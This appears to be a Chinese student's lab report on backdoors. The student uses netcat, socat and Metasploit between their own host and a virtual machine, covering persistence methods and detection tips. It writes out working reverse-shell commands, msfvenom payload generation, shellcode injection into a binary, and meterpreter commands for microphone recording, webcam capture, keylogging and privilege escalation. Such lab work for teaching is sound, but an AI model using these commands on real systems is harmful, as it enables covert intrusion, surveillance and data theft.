1.实验内容
关于后门
什么是后门
后门是隐藏在系统中的秘密通道,让攻击者能够绕过正常安全控制,随时访问和控制目标系统。
后门如何实现
·生成恶意程序(如MSF meterpreter)
·通过计划任务、系统服务、启动项实现持久化
·利用漏洞或社会工程学植入目标系统
后门攻击过程
·攻击者监听特定端口
·受害者运行后门程序
·建立远程连接获取系统控制权
·执行窃取数据、监控、提权等操作
后门本质:秘密通道 + 持久化访问 = 长期控制系统
什么是免杀技术
免杀技术是指使恶意软件(如后门、病毒)逃避杀毒软件检测的技术。
其核心原理是伪装(让恶意代码看起来像正常程序)、变形(改变代码特征,避免特征码匹配)和加密(隐藏恶意行为,运行时解密)
2.实验过程
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
我认为最常见的是社会工程学攻击,比如说你收到一封伪装成“公司年终奖金通知”的邮件,发件人看起来是上级或HR。邮件中包含一个附件,你打开附件,文件提示“需要启用xxx才能正常查看内容”。你点击“启用xxx”,内嵌的代码便悄悄在后台从远程服务器下载并执行后门程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win
·设定在特定时间、用户登录时或系统启动时触发
·后门路径写入 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 等键值
·替换系统程序调用的合法DLL,当该程序运行时,恶意DLL被加载
linux
·通过crontab -e添加定时任务
·创建一个.service文件,配置为系统服务
·例如替换 ls、ps 等常用命令,当管理员使用这些命令时触发后门
(3)Meterpreter有哪些给你映像深刻的功能?
·可以从一个进程瞬间迁移注入到另一个稳定系统进程
·完全运行在内存中,不向硬盘写入文件,绕过了许多基于文件扫描的杀毒软件
·Meterpreter的通信默认是加密的,网络入侵检测系统难以发现其恶意流量
(4)如何发现自己有系统有没有被安装后门?
·查看异常的外连IP和端口,特别是监听状态和已建立的连接到未知地址的连接
·分析安全日志
·性能监控
·对比系统关键目录的文件哈希值与干净版本是否一致,以发现被替换的系统文件
进行实验
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
<1>主机和虚拟机相互ping通
本机:172.16.177.230
虚拟机:192.168.190.129
<2>netcat获取主机操作shell
本机命令行输入ncat.exe -l -p 8888
虚拟机进入root模式并输入nc 172.16.177.230(本机地址) -e /bin/sh
回到本机,输入ls
其中解决了GBK和utf-8编码问题
可以显示虚拟机目录
<3>利用cron创建定时任务
创建每五分钟运行一次的写任务
在虚拟机中成功运行
(2)使用socat获取主机操作Shell, 任务计划启动
<1>相互ping通
本机:192.168.5.7
虚拟机:192.168.190.129
<2>socat连接本机
本机进入socat文件夹并输入.\socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
虚拟机终端输入socat - tcp:192.168.5.7:8888
提前准备好一个任务,虚拟机输入运行命令,这里我准备的任务是在本机建立一个txt文件,里面的内容是i am 20232320
运行成功
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
<1>生成可执行文件
本机:172.16.219.120
虚拟机:192.168.190.129
虚拟机中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe
<2>利用netcat传送到主机
本机终端中输入ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"
传送到本机
可以看到20232320backdoor.exe已经存在于本机
<3>虚拟机开启监听
虚拟机输入msfconsole后依次进行配置,配置如下:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.190.129 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
然后开始建立连接
此时在本机上运行20232320backdoor.exe
回到虚拟机已获得本机shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
<1>获取目标主机音频、摄像头、击键记录等内容
保持上一步操作获得的shell,分别输入以下命令
音频record_mic
摄像头webcam_snap
键入内容
keyscan_start
、keyscan_dump
<2>提权
查看当前用户getuid
输入提权指令getsystem
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
<1>生成新的shellcode
msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 -x "/home/kali/桌面/pwn20232320"-f elf > "/home/kali/桌面/pwn2_5_20232320"
赋予权限chmod a+x "/home/kali桌面/pwn2_5_20232320"
<2>再次监听
和之前相同配置,但是注意把Windows换成linux
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.190.129
set LPORT 8888
exploit
监听并运行pwn2_5_20232320
连接成功,获取shell
3.问题及解决方案
-问题一:
-问题一解决:未绑定端口
-问题二:查看程序说成功运行但是未在对应目录下找到创建的文件
-问题二解决:问题中文路径支持不好,改到了使用用户桌面路径
-问题三:Meterpreter会话建立了但是立即断开了,显示reason:died
-问题三解决:Kali Linux 系统中安装的 Ruby 版本(Ruby 3.1)与 Metasploit 框架当前版本所依赖的 Ruby 版本不兼容
依据毕悠尘同学的思路,更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容
在虚拟机中输入下面两条指令:
sudo apt update
sudo apt install metasploit-framework
前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads
下载 vc_redist.x86.exe(32位版本),msfvenom生成的后门是32位的,所以需要安装32位的组件包。
这时再次进行相同步骤的实验,可以发现实验完成。
-问题四:生成新的shellcode时找不到文件
-问题四解决:Kali的中文"桌面"和英文"Desktop"是两个不同的目录,会导致路径问题
切到中文桌面路径
4.学习感悟及思考
在本次实验中我首先学习了netcat和socat,也掌握了cron的基本概念和用法,在利用后门获取不管是本机还是虚拟机的shell权限中,我对后门这种“隐秘通道”的理解加深了,我认为它并不是一个实质性的攻击程序,而是利用了系统本身的信任机制巧妙夺取合法权限。
通过自己切身操作成功获取一个个Shell,理解攻击的原理才能知道应该在何处布防,我开始思考在平时日常生活中对于后门攻击的防范,后门一旦布下对于被攻击的主机来说就再无隐私可言,所以学习网络攻防不应只将网络安全视为一道静态的防火墙,而是一场动态的、在细节中决出胜负的博弈,不断提高自身素养才能在这场斗争中掌握主动权。
参考资料
https://blog.csdn.net/2301_79518550/article/details/149029359
https://blog.csdn.net/weixin_54430466/article/details/121678118